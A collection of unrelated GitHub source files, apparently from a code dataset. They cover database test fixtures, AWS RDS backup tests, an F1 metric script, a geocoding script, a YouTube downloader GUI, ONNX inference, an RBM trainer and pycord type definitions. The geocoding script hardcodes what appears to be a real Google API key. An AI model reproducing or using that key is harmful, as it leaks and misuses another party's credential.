SqliteDb(str(tmp_path / \"db\"))\n yield db\n db.close()\n\n\ndef get_mysql_db(typ):\n db = typ(read_default_file=os.path.expanduser(\"~/.my.cnf\"))\n db.query(\"DROP DATABASE IF EXISTS test_db\")\n db.query(\"CREATE DATABASE test_db\")\n db.query(\"USE test_db\")\n\n return typ(read_default_file=os.path.expanduser(\"~/.my.cnf\"), db=\"test_db\")\n\n\ndef cleanup_mysql_db(db):\n db._DbBase__closed = False\n db.query(\"SET SESSION TRANSACTION READ WRITE;\")\n db.query(\"DROP DATABASE test_db\")\n db.close()\n\n\n@pytest.fixture\ndef db_mysql():\n from notanorm import MySqlDb\n\n db = get_mysql_db(MySqlDb)\n yield db\n cleanup_mysql_db(db)\n\n\n@pytest.fixture\ndef db_mysql_notmem(db_mysql):\n yield db_mysql\n\n\n@pytest.fixture(name=\"db\")\ndef db_fixture(request, db_name):\n yield request.getfixturevalue(\"db_\" + db_name)\n\n\n@pytest.fixture(name=\"db_sqlup\", params=[\"\", \"_noup\"])\ndef db_sqlup_fixture(request, db_name):\n yield request.getfixturevalue(\"db_\" + db_name + request.param)\n\n\n@pytest.fixture(name=\"db_notmem\")\ndef db_notmem_fixture(request, db_name):\n yield request.getfixturevalue(\"db_\" + db_name + \"_notmem\")\n\n\ndef pytest_generate_tests(metafunc):\n \"\"\"Converts user-argument --db to fixture parameters.\"\"\"\n\n global PYTEST_REG # pylint: disable=global-statement\n if not PYTEST_REG:\n if any(db in metafunc.fixturenames for db in (\"db\", \"db_notmem\", \"db_sqlup\")):\n db_names = metafunc.config.getoption(\"db\", [])\n db_names = db_names or [\"sqlite\"]\n for mark in metafunc.definition.own_markers:\n if mark.name == \"db\":\n db_names = set(mark.args).intersection(set(db_names))\n break\n db_names = sorted(db_names) # xdist compat\n metafunc.parametrize(\"db_name\", db_names, scope=\"function\")\n","repo_name":"AtakamaLLC/notanorm","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"22176987446","text":"import sys\nimport unittest\nimport pytest\nimport os\nfrom botocore.exceptions import WaiterError\nfrom shelvery.engine import ShelveryEngine\nfrom shelvery.runtime_config import RuntimeConfig\nfrom shelvery_tests.test_functions import setup_source, compare_backups\nfrom shelvery.rds_cluster_backup import ShelveryRDSClusterBackup\nfrom shelvery.aws_helper import AwsHelper\nfrom shelvery_tests.resources import RDS_CLUSTER_RESOURCE_NAME, ResourceClass\n\npwd = os.path.dirname(os.path.abspath(__file__))\n\nsys.path.append(f\"{pwd}/..\")\nsys.path.append(f\"{pwd}/../shelvery\")\nsys.path.append(f\"{pwd}/shelvery\")\nsys.path.append(f\"{pwd}/lib\")\nsys.path.append(f\"{pwd}/../lib\")\n\nprint(f\"Python lib path:\\n{sys.path}\")\n\nclass RDSClusterTestClass(ResourceClass):\n \n def __init__(self):\n self.resource_name = RDS_CLUSTER_RESOURCE_NAME\n self.backups_engine = ShelveryRDSClusterBackup()\n self.client = AwsHelper.boto3_client('rds', region_name='ap-southeast-2')\n self.ARN = f\"arn:aws:rds:{os.environ['AWS_DEFAULT_REGION']}:{AwsHelper.local_account_id()}:cluster:{self.resource_name}\"\n\n def add_backup_tags(self):\n self.client.add_tags_to_resource(\n ResourceName=self.ARN,\n Tags=[{\n 'Key': f\"{RuntimeConfig.get_tag_prefix()}:{ShelveryEngine.BACKUP_RESOURCE_TAG}\",\n 'Value': 'true'\n }, \n {'Key': 'Name', \n 'Value': self.resource_name\n }\n ]\n )\n \n def wait_for_resource(self):\n waiter = AwsHelper.boto3_client('rds', region_name='ap-southeast-2').get_waiter('db_cluster_available')\n try:\n waiter.wait(\n DBClusterIdentifier=self.resource_name,\n WaiterConfig={\n 'Delay': 30,\n 'MaxAttempts': 50\n }\n )\n except WaiterError as error:\n print(\"Waiting for RDS Cluster Failed\")\n print(error)\n raise error\n\n\nclass ShelveryRDSClusterIntegrationTestCase(unittest.TestCase):\n \"\"\"Shelvery RDS Cluster Backups Integration shelvery tests\"\"\"\n\n def id(self):\n return str(self.__class__)\n\n\n def setUp(self):\n # Complete initial setup\n self.created_snapshots = []\n setup_source(self)\n # Instantiate resource test class\n rds_cluster_test_class = RDSClusterTestClass()\n # Wait till RDS Cluster is in an available state\n rds_cluster_test_class.wait_for_resource()\n # Add tags to indicate backup\n rds_cluster_test_class.add_backup_tags()\n\n @pytest.mark.source\n def test_CleanupRdsClusterBackup(self):\n print(f\"RDS Cluster - Running cleanup test\")\n # Create test resource class\n rds_cluster_test_class = RDSClusterTestClass()\n backups_engine = rds_cluster_test_class.backups_engine\n client = rds_cluster_test_class.client\n # Create backups\n backups = backups_engine.create_backups() \n # Clean backups\n backups_engine.clean_backups()\n # Retrieve remaining backups \n snapshots = [\n snapshot\n for backup in backups\n for snapshot in client.describe_db_cluster_snapshots(\n DBClusterIdentifier=rds_cluster_test_class.resource_name,\n DBClusterSnapshotIdentifier=backup.backup_id\n )[\"DBClusterSnapshots\"]\n ]\n print(f\"Snapshots: {snapshots}\")\n \n self.assertTrue(len(snapshots) == 0)\n\n @pytest.mark.source\n def test_CreateRdsClusterBackup(self):\n print(\"Running RDS Cluster create backup test\")\n # Instantiate test resource class\n rds_cluster_test_class = RDSClusterTestClass()\n backups_engine = rds_cluster_test_class.backups_engine\n \n # Create backups\n backups = backups_engine.create_backups()\n print(f\"Created {len(backups)} backups for RDS Cluster\")\n \n # Compare backups\n for backup in backups:\n valid = compare_backups(self=self, backup=backup, backup_engine=backups_engine)\n \n # Clean backups\n print(f\"Cleaning up RDS Cluster Backups\")\n backups_engine.clean_backups()\n \n # Validate backups\n self.assertTrue(valid, f\"Backup {backup} is not valid\")\n \n self.assertEqual(len(backups), 1, f\"Expected 1 backup, but found {len(backups)}\")\n \n @pytest.mark.source\n @pytest.mark.share\n def test_ShareRdsClusterBackup(self):\n print(\"Running RDS Cluster share backup test\")\n\n # Instantiate test resource class\n rds_cluster_test_class = RDSClusterTestClass()\n backups_engine = rds_cluster_test_class.backups_engine\n client = rds_cluster_test_class.client\n\n print(\"Creating shared backups\")\n backups = backups_engine.create_backups()\n print(f\"{len(backups)} shared backups created\")\n\n for backup in backups:\n snapshot_id = backup.backup_id\n print(f\"Checking if snapshot {snapshot_id} is shared with {self.share_with_id}\")\n\n # Retrieve snapshots\n snapshots = client.describe_db_cluster_snapshots(\n DBClusterIdentifier=rds_cluster_test_class.resource_name,\n DBClusterSnapshotIdentifier=backup.backup_id\n )[\"DBClusterSnapshots\"]\n\n # Get attributes of snapshot\n attributes = client.describe_db_cluster_snapshot_attributes(\n DBClusterSnapshotIdentifier=snapshot_id\n )['DBClusterSnapshotAttributesResult']['DBClusterSnapshotAttributes']\n \n # Check if snapshot is shared with destination account\n shared_with_destination = any(\n attr['AttributeName'] == 'restore' and self.share_with_id in attr['AttributeValues']\n for attr in attributes\n )\n \n # Assertions\n self.assertEqual(len(snapshots), 1, f\"Expected 1 snapshot, but found {len(snapshots)}\")\n self.assertTrue(shared_with_destination, f\"Snapshot {snapshot_id} is not shared with {self.share_with_id}\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"base2Services/shelvery-aws-backups","sub_path":"shelvery_tests/rds_cluster_integration_test.py","file_name":"rds_cluster_integration_test.py","file_ext":"py","file_size_in_byte":6296,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"32395415039","text":"import json\n# from sklearn.metrics import f1_score\nfrom tqdm import tqdm\n\nwith open(\"entailmentbank/data/chains_test.json\", 'r') as f:\n true = json.load(f)\n\nwith open(\"entailmentbank/outputs/pre_rerank_25.json\", 'r') as f:\n pre = json.load(f)\n\ndef f1_score(t, p):\n tp = 0\n for ture in p:\n if ture in t:\n tp = tp + 1\n fn=0\n for ture in t:\n if ture not in p:\n fn = fn + 1\n # fp = 25 - tp\n # tn = 25 - tp - fn - fp\n # f1 = 2 * tp / (25 + tp - tn)\n Precision=tp/25.0\n Recall=tp/25.0\n f1=2*Precision*Recall/(Precision+Recall)\n return f1\n\nscore=0.0\nfor i,j in tqdm(true.items()):\n T=true[i]\n P=pre[i]\n f1=f1_score(T,P)\n score += f1\n \n\ns=score/len(true)\nprint(s) ","repo_name":"hhhhzs666/KSIHER","sub_path":"F1_score.py","file_name":"F1_score.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"981987862","text":"import httplib2\nimport json\n\ndef getGeoCodeLocation(input_string):\n\tapi_key = 'AIzaSyBiPluvaU2U4PmvDLoEhjaese9QqpdOV_M'\n\tlocation_string = input_string.replace(\" \", \"+\")\n\t\n\tapi_url = 'https://maps.googleapis.com/maps/api/geocode/json?address=' + location_string + '&key=' + api_key\n\trequest_obj = httplib2.Http()\n\t\n\tresponse, content = request_obj.request(api_url, 'GET')\n\tresult = json.loads(content)\n\t\n\tprint(\"\\nResponse code: \", response)\n\tprint(\"\\n\\nResultant content: \", result)\t\n\ninput_string = input('Enter a location: ')\ngetGeoCodeLocation(input_string)\n","repo_name":"Dheeraj1998/Designing-RESTful-APIs","sub_path":"Lesson 2/geocode.py","file_name":"geocode.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"31928579160","text":"from customtkinter import *\nfrom customtkinter import filedialog\nfrom CTkMessagebox import CTkMessagebox\nfrom downloader import FILEtd\n\n\nroot = CTk()\nroot.title(\"Youtube Video Downloader\")\nroot.resizable(False, False)\nroot.geometry('500x200')\nurl_box = CTkTextbox(root, height=1, width=500)\nurl_box.grid(row=0, column=0, columnspan=3)\nloc = StringVar()\ndisplay_loc = CTkLabel(root, textvariable=loc)\nfolder_selected = \" \"\n\n\ndef on_browse():\n global folder_selected\n folder_selected = filedialog.askdirectory()\n loc.set(\"Download At\\t\"+folder_selected)\n\n\ndef download():\n url = url_box.get('1.0', \"end-1c\")\n if len(url.replace(\" \", \"\")) == 0:\n CTkMessagebox(title=\"Error\", message=\"URL missing\", icon=\"cancel\")\n\n elif len(folder_selected.replace(\" \", \"\")) == 0:\n CTkMessagebox(title=\"Error\", message=\"Download Location Missing\", icon=\"cancel\")\n\n else:\n print(folder_selected, url)\n video = FILEtd(url=url, location=folder_selected)\n try:\n video.dwnld()\n\n except Exception as e:\n CTkMessagebox(title=\"Error\", message=\"Invalid URL\", icon=\"cancel\")\n print(e)\n\n\nif __name__ == '__main__':\n browse_button = CTkButton(root, text=\"Browse\", command=on_browse)\n download_button = CTkButton(root, text=\"Download\", command=download)\n display_loc.grid(row=2, column=0, columnspan=3)\n browse_button.grid(row=4, column=0)\n download_button.grid(row=4, column=2)\n root.mainloop()\n\n\n","repo_name":"bishesh4562r/Youtube-Download","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22196933793","text":"import numpy as np # we're going to use numpy to process input and output data\nimport onnxruntime # to inference ONNX models, we use the ONNX Runtime\nimport onnx\nimport sys, os\nfrom onnx import numpy_helper\nimport urllib.request\nimport json\nimport cv2\nimport time\n\n# display images in notebook\n#from PIL import Image, ImageDraw, ImageFont\n\nclass ImageClassification(object):\n \"\"\"Image classification class for ONNX Runtime\n \"\"\"\n def __init__(self, data, model_dir):\n\n print(\"Call: Constructor: ImageClassification.__init__\")\n\n # TBD Need to add error check\n self.platform = str(data[\"Platform\"])\n self.model_filename = str(data[\"ModelFileName\"])\n\n if \"LabelFileName\" in data:\n self.label_filename = str(data[\"LabelFileName\"])\n\n if \"InputStream\" in data:\n self.video_inp = str(data[\"InputStream\"])\n\n # Look for input width and height from cvexport.manifest\n # if not present, read from model.onnx file (ref: onnxruntime_session_init)\n if \"ScaleWidth\" in data:\n self.model_inp_width = int(data[\"ScaleWidth\"])\n if \"ScaleHeight\" in data:\n self.model_inp_height = int(data[\"ScaleHeight\"])\n\n if \"RenderFlag\" in data:\n self.render = int(data[\"RenderFlag\"])\n else:\n self.render = 1\n\n if \"MeanVec\" in data:\n self.mean_vec = data[\"MeanVec\"]\n else:\n self.mean_vec = [0.485, 0.456, 0.406]\n\n if \"StddevVec\" in data:\n self.stddev_vec = data[\"StddevVec\"]\n else:\n self.stddev_vec = [0.229, 0.224, 0.225]\n \n if \"InputFormat\" in data:\n self.input_format = str(data[\"InputFormat\"])\n \n self.session = None\n self.onnxruntime_session_init(model_dir)\n\n def onnxruntime_session_init(self, model_dir):\n if self.session is not None:\n self.session = None\n\n self.session = onnxruntime.InferenceSession(str(str(model_dir) + str('/') + str(self.model_filename)))\n\n self.input_name = self.session.get_inputs()[0].name\n\n # Reading input width & height from onnx model file\n self.model_inp_width = self.session.get_inputs()[0].shape[2]\n self.model_inp_height = self.session.get_inputs()[0].shape[3]\n\n if os.path.isfile(str(str(model_dir) + str('/') + str(self.label_filename))):\n with open(str(str(model_dir) + str('/') + str(self.label_filename)), 'r') as f:\n self.labels = [l.strip() for l in f.readlines()]\n else:\n print(\"Warning: Labels file not found\")\n self.labels = None\n\n def load_labels(self, path):\n with open(path) as f:\n for cnt, line in enumerate(f):\n self.labels.append(line.rstrip(\"\\n\"))\n print(\"total_classes =\", cnt)\n\n\n def preprocess(self, input_data):\n # convert the input data into the float32 input\n img_data = input_data.astype('float32')\n img_data = img_data.reshape(1, 3, self.model_inp_width, self.model_inp_height)\n\n #normalize\n norm_img_data = np.zeros(img_data.shape).astype('float32')\n for i in range(img_data.shape[0]):\n norm_img_data[i,:,:] = (img_data[i,:,:]/255 - self.mean_vec[i]) / self.stddev_vec[i]\n return norm_img_data\n\n def predict_image(self, frame):\n image_data = cv2.resize(frame, (self.model_inp_width, self.model_inp_height), interpolation = cv2.INTER_AREA)\n image_data = np.array(image_data).transpose(2, 0, 1)\n #image_data = np.array(frame).transpose(2, 0, 1)\n input_data = self.preprocess(image_data)\n input_name = self.session.get_inputs()[0].name \n\n raw_result = {}\n start = time.time()\n raw_result = self.session.run([], {input_name: input_data})[1]\n end = time.time()\n inference_time = end - start\n for i in raw_result:\n label_dict = i\n\n predictions = []\n v = []\n\n if self.labels is None:\n self.labels = []\n for key, value in label_dict.items():\n self.labels.append(str(key))\n v.append(value)\n\n for key in self.labels:\n predictions.append(label_dict[key])\n return predictions, inference_time\n\n def softmax(self, x):\n x = x.reshape(-1)\n e_x = np.exp(x - np.max(x))\n return e_x / e_x.sum(axis=0)\n\n def postprocess(self, result):\n return self.softmax(np.array(result)).tolist()\n\n#def main(config_filename):\n\n# ic_model = ONNXRuntimeImageClassification(config_filename)\n","repo_name":"Azure-Samples/azure-intelligent-edge-patterns","sub_path":"Research/EdgeSolution/modules/VisionSampleModule/image_classification.py","file_name":"image_classification.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"31"} +{"seq_id":"16660260126","text":"# Подсчитать сумму ��ифр в вещественном числе.\n\ndef sum_of_digits_in_float(a):\n sum = 0\n b = list(a)\n for i in b:\n if i != '.':\n sum += int(i)\n return sum\n\na = input(f'Введите вещественное число: ')\nprint(f'Сумма цифр числа: {sum_of_digits_in_float(a)}')\n","repo_name":"nikonovperm/DZ1_python","sub_path":"Task3.py","file_name":"Task3.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44076479192","text":"import os\r\n\r\nfrom tensorboardX import SummaryWriter\r\n\r\nfrom utils import *\r\n\r\n\r\nclass rbm_base:\r\n def __init__(self, model_path, v_sz=784, h_sz=256, pcd=True,\r\n drop_probs=0.0, n_epoch_to_save=1, im_shape=[1, 28, 28],\r\n W_init=None, vb_init=None, hb_init=None, metrics_interval=200,\r\n init_lr=1e-2, lr_start=2, lr_stop=8, ultimate_lr=2e-5,\r\n n_gibbs_steps=1, sample_v_states=False, sample_h_states=True,\r\n init_mo=0.5, ultimate_mo=0.8, mo_start=0, mo_stop=5,\r\n sparsity_target=0.1, sparsity_damping=0.9, sparsity_cost=0.0,\r\n max_epoch=10, batch_size=16, l2=1e-4, verbose=True):\r\n\r\n self.model_path = model_path\r\n self.im_shape = im_shape\r\n self.drop_probs = drop_probs\r\n self.pcd = pcd\r\n self.persistent_chains = None\r\n self.n_epoch_to_save = n_epoch_to_save\r\n self.v_sz = v_sz\r\n self.h_sz = h_sz\r\n\r\n self.W_init = W_init\r\n self.vb_init = vb_init\r\n self.hb_init = hb_init\r\n\r\n self.metrics_interval = metrics_interval\r\n self.verbose = verbose\r\n\r\n self.sparsity_target = sparsity_target\r\n self.sparsity_damping = sparsity_damping\r\n self.sparsity_cost = sparsity_cost\r\n\r\n self.init_lr = init_lr\r\n self.lr_start_decay = lr_start\r\n self.lr_stop_decay = lr_stop\r\n self.ultimate_lr = ultimate_lr\r\n self.init_mo = init_mo\r\n self.ultimate_mo = ultimate_mo\r\n self.mo_stop_decay = mo_stop\r\n self.mo_start_decay = mo_start\r\n\r\n self.sample_v_states = sample_v_states\r\n self.sample_h_states = sample_h_states\r\n self.n_gibbs_steps = n_gibbs_steps\r\n\r\n self.max_epoch = max_epoch\r\n self.batch_size = batch_size\r\n self.l2 = l2\r\n\r\n # 带下划线的成员,是变化的,是save要保存的变量\r\n self._step = 0\r\n self._lr = self.init_lr\r\n self._mo = self.init_mo\r\n\r\n self._q_mean = Tensor(np.zeros(self.h_sz))\r\n\r\n self._dW = Tensor(np.zeros([self.v_sz, self.h_sz]))\r\n self._dhb = Tensor(np.zeros(self.h_sz))\r\n self._dvb = Tensor(np.zeros(self.v_sz))\r\n\r\n self._W = T.nn.init.xavier_normal(\r\n Tensor(np.zeros([self.v_sz, self.h_sz]))) if self.W_init is None else self.W_init\r\n self._hb = Tensor(np.zeros(self.h_sz)) if self.hb_init is None else self.hb_init\r\n self._vb = Tensor(np.zeros(self.v_sz)) if self.vb_init is None else self.vb_init\r\n\r\n def _free_energy(self, v):\r\n raise NotImplementedError\r\n\r\n def _h_given_v(self, v):\r\n raise NotImplementedError\r\n\r\n def _v_given_h(self, h):\r\n raise NotImplementedError\r\n\r\n def save(self):\r\n raise NotImplementedError\r\n\r\n def load(self):\r\n raise NotImplementedError\r\n\r\n def _dropout(self, X, drop_probs):\r\n assert 0 <= drop_probs < 1\r\n X *= T.bernoulli((1 - drop_probs) * T.ones_like(X)) / (1 - drop_probs)\r\n return X\r\n\r\n def _msre_metric(self, v):\r\n v_ = self._gibbs_sample(self._h_given_v(v)[0], self.n_gibbs_steps)[0]\r\n return T.mean((v - v_) ** 2)\r\n\r\n def _free_energy_gap_metric(self, train, valid, batch_size):\r\n train_feg = self._free_energy(shuffle_batch(train, batch_size).view(-1, self.v_sz))\r\n valid_feg = self._free_energy(shuffle_batch(valid, batch_size).view(-1, self.v_sz))\r\n return train_feg - valid_feg\r\n\r\n def _lr_decay(self):\r\n lr = self._lr + linear_inc(self.init_lr, self.ultimate_lr,\r\n self.lr_start_decay, self.lr_stop_decay)\r\n self._lr = lr if lr > self.ultimate_lr else self.ultimate_lr\r\n\r\n def _mo_decay(self):\r\n mo = self._mo + linear_inc(self.init_mo, self.ultimate_mo,\r\n self.mo_start_decay, self.mo_stop_decay)\r\n self._mo = mo if mo < self.ultimate_mo else self.ultimate_mo\r\n\r\n def _gibbs_step(self, h0):\r\n v_probs, v_samples = self._v_given_h(h0)\r\n v = v_samples if self.sample_v_states else v_probs\r\n h_probs, h_samples = self._h_given_v(v)\r\n h = h_samples if self.sample_h_states else h_probs\r\n return v, h\r\n\r\n def _gibbs_sample(self, h0, n_gibbs_steps):\r\n v, h = None, h0\r\n for _ in range(n_gibbs_steps):\r\n v, h = self._gibbs_step(h)\r\n return v, h\r\n\r\n def _gibbs_chain(self, v0):\r\n h0 = self._h_given_v(v0)[1]\r\n h_gibbs = self.persistent_chains if self.pcd else h0\r\n vn, hn = self._gibbs_sample(h_gibbs, self.n_gibbs_steps)\r\n self.persistent_chains = hn\r\n return h0, v0, hn, vn\r\n\r\n def _update(self, h0, v0, hn, vn):\r\n N = v0.size()[0]\r\n # 添加稀疏化正则项\r\n q_means = T.mean(hn, 0)\r\n self._q_mean = self.sparsity_damping * self._q_mean + (1 - self.sparsity_damping) * q_means\r\n sparsity_penalty = self.sparsity_cost * (self._q_mean - self.sparsity_target)\r\n dW = (vn.t() @ hn - v0.t() @ h0) / N + self.l2 * self._W + sparsity_penalty\r\n dvb = T.mean(vn - v0, 0)\r\n dhb = T.mean(hn - h0, 0) + sparsity_penalty\r\n\r\n self._dW = self._mo * self._dW + self._lr * dW\r\n self._dvb = self._mo * self._dvb + self._lr * dvb\r\n self._dhb = self._mo * self._dhb + self._lr * dhb\r\n self._W = self._W - self._dW\r\n self._vb = self._vb - self._dvb\r\n self._hb = self._hb - self._dhb\r\n\r\n def fit(self, X, X_val):\r\n writer = SummaryWriter(self.model_path)\r\n self.persistent_chains = self._h_given_v(\r\n shuffle_batch(X, self.batch_size).view(self.batch_size, self.v_sz))[1]\r\n for epoch in range(self.max_epoch):\r\n self._lr_decay()\r\n self._mo_decay()\r\n for X_batch in next_batch(X, self.batch_size):\r\n X_batch = X_batch.view(-1, self.v_sz)\r\n X_batch = self._dropout(X_batch, self.drop_probs)\r\n h0, v0, hn, vn = self._gibbs_chain(X_batch)\r\n self._update(h0, v0, hn, vn)\r\n\r\n self._step += 1\r\n if (self._step + 1) % self.metrics_interval == 0:\r\n free_energy_gap = self._free_energy_gap_metric(X, X_val, 800)\r\n msre = self._msre_metric(X_batch)\r\n writer.add_scalar('train_free_energy', free_energy_gap, self._step)\r\n writer.add_scalar('train_msre', msre, self._step)\r\n writer.add_scalar('lr', self._lr, self._step)\r\n writer.add_scalar('mo', self._mo, self._step)\r\n writer.add_histogram('W', self._W, self._step)\r\n writer.add_histogram('v_bias', self._vb, self._step)\r\n writer.add_histogram('h_bias', self._hb, self._step)\r\n writer.add_histogram('dW', self._dW, self._step)\r\n if self.im_shape[0] == 3: # tensorboardX 不支持灰度图\r\n writer.add_image('filters', self._filters(4))\r\n else:\r\n tv.utils.save_image(vn.view([-1] + self.im_shape),\r\n self.model_path + 'verbose/train_{}.png'.format(self._step))\r\n\r\n if self.verbose:\r\n print('epoch: [%d \\ %d] global_step: [%d] train_msre: [%3f]' % (\r\n epoch + 1, self.max_epoch, self._step, msre))\r\n\r\n # save\r\n if (epoch + 1) % self.n_epoch_to_save == 0:\r\n self.save()\r\n writer.close()\r\n\r\n def inf_from_valid(self, batch_X_val, n_gibbs_steps):\r\n batch_X_val = batch_X_val.view([-1, self.v_sz])\r\n h0_val, _ = self._h_given_v(batch_X_val)\r\n return self._gibbs_sample(h0_val, n_gibbs_steps)[0]\r\n\r\n def inf_by_stochastic(self, batch_size, n_gibbs_steps):\r\n h0_sto = Tensor(np.random.normal(1e-8, 0.02, size=[batch_size, self.h_sz]))\r\n return self._gibbs_sample(h0_sto, n_gibbs_steps)[0]\r\n\r\n def _filters(self, n_filter=64):\r\n assert n_filter < self.h_sz\r\n filter_ = self._W.t().contiguous()[:n_filter, :]\r\n return filter_.view([n_filter] + self.im_shape)\r\n\r\n def _save(self, **kwargs):\r\n np.savez(os.path.join(self.model_path + 'ckpt_{}.npz'.format(self._step)),\r\n _step=self._step, _lr=self._lr, _mo=self._mo,\r\n _W=self._W, _vb=self._vb, _hb=self._hb, _q_mean=self._q_mean,\r\n _dW=self._dW, _dvb=self._dvb, _dhb=self._dhb, **kwargs)\r\n from shutil import copyfile\r\n copyfile(os.path.join(self.model_path + 'ckpt_{}.npz'.format(self._step)),\r\n os.path.join(self.model_path + 'ckpt_latest.npz'))\r\n\r\n def _load(self, npz_file, *args):\r\n if not os.path.isfile(npz_file):\r\n return False\r\n npz = np.load(npz_file)\r\n self._W, self._vb, self._hb = Tensor(npz['_W']), Tensor(npz['_vb']), Tensor(npz['_hb'])\r\n self._step, self._mo, self._lr = int(npz['_step']), float(npz['_mo']), float(npz['_lr'])\r\n self._dW, self._dhb, self._dvb = Tensor(npz['_dW']), Tensor(npz['_dhb']), Tensor(npz['_dvb'])\r\n self._q_mean = Tensor(npz['_q_mean'])\r\n\r\n return [npz[t] for t in args]\r\n","repo_name":"xplutoy/RBMS","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":9288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42043950161","text":"from typing import Any, Literal\n\nfrom typing_extensions import NotRequired, TypedDict\n\nfrom .application_commands import ApplicationCommand\nfrom .auto_moderation import AutoModerationRule\nfrom .channel import Channel\nfrom .guild_scheduled_event import GuildScheduledEvent\nfrom .integration import Integration\nfrom .snowflake import Snowflake\nfrom .user import User\nfrom .webhook import Webhook\n\nAUDIT_LOG_EVENT_TYPE = Literal[\n 1,\n 10,\n 11,\n 12,\n 13,\n 14,\n 15,\n 20,\n 21,\n 22,\n 23,\n 24,\n 25,\n 26,\n 27,\n 28,\n 30,\n 31,\n 32,\n 40,\n 41,\n 42,\n 50,\n 51,\n 52,\n 60,\n 61,\n 62,\n 72,\n 73,\n 74,\n 75,\n 80,\n 81,\n 82,\n 83,\n 84,\n 85,\n 90,\n 91,\n 92,\n 100,\n 101,\n 102,\n 110,\n 111,\n 112,\n 121,\n 140,\n 141,\n 142,\n 143,\n 144,\n 145,\n]\n\n\nclass AuditLogChange(TypedDict):\n new_value: NotRequired[Any]\n old_value: NotRequired[Any]\n key: str\n\n\nclass OptionalAuditEntryInfo(TypedDict):\n application_id: Snowflake\n auto_moderation_rule_name: str\n auto_moderation_rule_trigger_type: str\n channel_id: Snowflake\n count: str\n delete_member_days: str\n id: Snowflake\n members_removed: str\n message_id: Snowflake\n role_name: str\n type: str\n\n\nclass AuditLogEntry(TypedDict):\n target_id: str | None\n changes: NotRequired[AuditLogChange]\n user_id: Snowflake | None\n id: Snowflake\n action_type: AUDIT_LOG_EVENT_TYPE\n options: NotRequired[OptionalAuditEntryInfo]\n reason: NotRequired[str]\n\n\nclass AuditLog(TypedDict):\n application_commands: list[ApplicationCommand]\n audit_log_entries: list[AuditLogEntry]\n auto_moderation_rules: list[AutoModerationRule]\n guild_scheduled_events: list[GuildScheduledEvent]\n integrations: list[Integration]\n threads: list[Channel]\n users: list[User]\n webhooks: list[Webhook]\n","repo_name":"Pycord-Development/pycord-v3","sub_path":"pycord/types/audit_log.py","file_name":"audit_log.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"31"} +{"seq_id":"43691868370","text":"#!/usr/bin/env python\nimport optparse\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport subprocess\nimport logging\nfrom string import Template\nfrom xml.sax.saxutils import escape\n\nlog = logging.getLogger(__name__)\n\nDEBUG = True\n\nworking_directory = os.getcwd()\ntmp_stderr_name = tempfile.NamedTemporaryFile(dir=working_directory, suffix='.stderr').name\ntmp_stdout_name = tempfile.NamedTemporaryFile(dir=working_directory, suffix='.stdout').name\n\n\ndef stop_err(msg):\n sys.stderr.write(\"%s\\n\" % msg)\n sys.exit()\n\n\ndef read_stderr():\n stderr = ''\n if(os.path.exists(tmp_stderr_name)):\n with open(tmp_stderr_name, 'rb') as tmp_stderr:\n buffsize = 1048576\n try:\n while True:\n stderr += tmp_stderr.read(buffsize)\n if not stderr or len(stderr) % buffsize != 0:\n break\n except OverflowError:\n pass\n return stderr\n\n\ndef execute(command, stdin=None):\n try:\n with open(tmp_stderr_name, 'wb') as tmp_stderr:\n with open(tmp_stdout_name, 'wb') as tmp_stdout:\n proc = subprocess.Popen(args=command, shell=True, stderr=tmp_stderr.fileno(), stdout=tmp_stdout.fileno(), stdin=stdin, env=os.environ)\n returncode = proc.wait()\n if returncode != 0:\n raise Exception(\"Program returned with non-zero exit code %d. stderr: %s\" % (returncode, read_stderr()))\n finally:\n print((open(tmp_stderr_name, \"r\").read(64000)))\n print((open(tmp_stdout_name, \"r\").read(64000)))\n\n\ndef delete_file(path):\n if os.path.exists(path):\n try:\n os.remove(path)\n except:\n pass\n\n\ndef delete_directory(directory):\n if os.path.exists(directory):\n try:\n shutil.rmtree(directory)\n except:\n pass\n\n\ndef symlink(source, link_name):\n import platform\n if platform.system() == 'Windows':\n try:\n import win32file\n win32file.CreateSymbolicLink(source, link_name, 1)\n except:\n shutil.copy(source, link_name)\n else:\n os.symlink(source, link_name)\n\n\ndef copy_to_working_directory(data_file, relative_path):\n if os.path.abspath(data_file) != os.path.abspath(relative_path):\n shutil.copy(data_file, relative_path)\n return relative_path\n\n\ndef __main__():\n run_script()\n\n\n# Extra database attributes: name, databaseAccessionRegEx, databaseDescriptionRegEx, decoyProteinRegEx\n# Extra export types: protxml, spectrum-report, statistics, peptide-report, protein-report, experiment-report\nRUN_TEMPLATE = \"\"\"\n\n\n$samples\n$display_thresholds\n\n\n\n\"\"\"\n\nEXPORT_TEMPLATE = \"\"\"\n\n$display_thresholds\n\n\n\n\"\"\"\n\ndef parse_groups(inputs_file, group_parts=[\"group\"], input_parts=[\"name\", \"path\"]):\n inputs_lines = [line.strip() for line in open(inputs_file, \"r\").readlines()]\n inputs_lines = [line for line in inputs_lines if line and not line.startswith(\"#\")]\n cur_group = None\n i = 0\n group_prefixes = [\"%s:\" % group_part for group_part in group_parts]\n input_prefixes = [\"%s:\" % input_part for input_part in input_parts]\n groups = {}\n while i < len(inputs_lines):\n line = inputs_lines[i]\n if line.startswith(group_prefixes[0]):\n # Start new group\n cur_group = 